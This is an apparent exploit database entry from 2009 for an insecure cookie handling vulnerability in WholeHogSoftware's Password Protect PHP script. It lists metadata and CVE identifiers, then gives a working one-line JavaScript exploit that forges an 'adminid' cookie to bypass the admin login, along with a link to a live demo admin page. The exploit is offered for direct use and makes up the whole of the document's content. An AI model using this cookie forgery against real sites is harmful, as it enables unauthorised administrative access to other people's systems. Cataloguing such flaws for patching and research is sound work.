WholeHogSoftware Password Protect - Insecure Cookie Handling

Author: Stack
type: webapps
platform: php
port: 
date_added: 2009-02-02 
date_updated:  
verified: 1 
codes: OSVDB-51734;CVE-2009-0461;CVE-2009-0460 
tags: 
aliases:  
screenshot_url:  
application_url: 

###########################################################################
[+] WholeHogSoftware Password Protect Insecure Cookie Handling Vulnerability
[+] Script   :Password Protect
[+] Site     :http://wholehogsoftware.com
[+] Detay    :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
[+] Discovered By Mountassif Moad

[+] www.v4-team.com

[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin

# milw0rm.com [2009-02-03]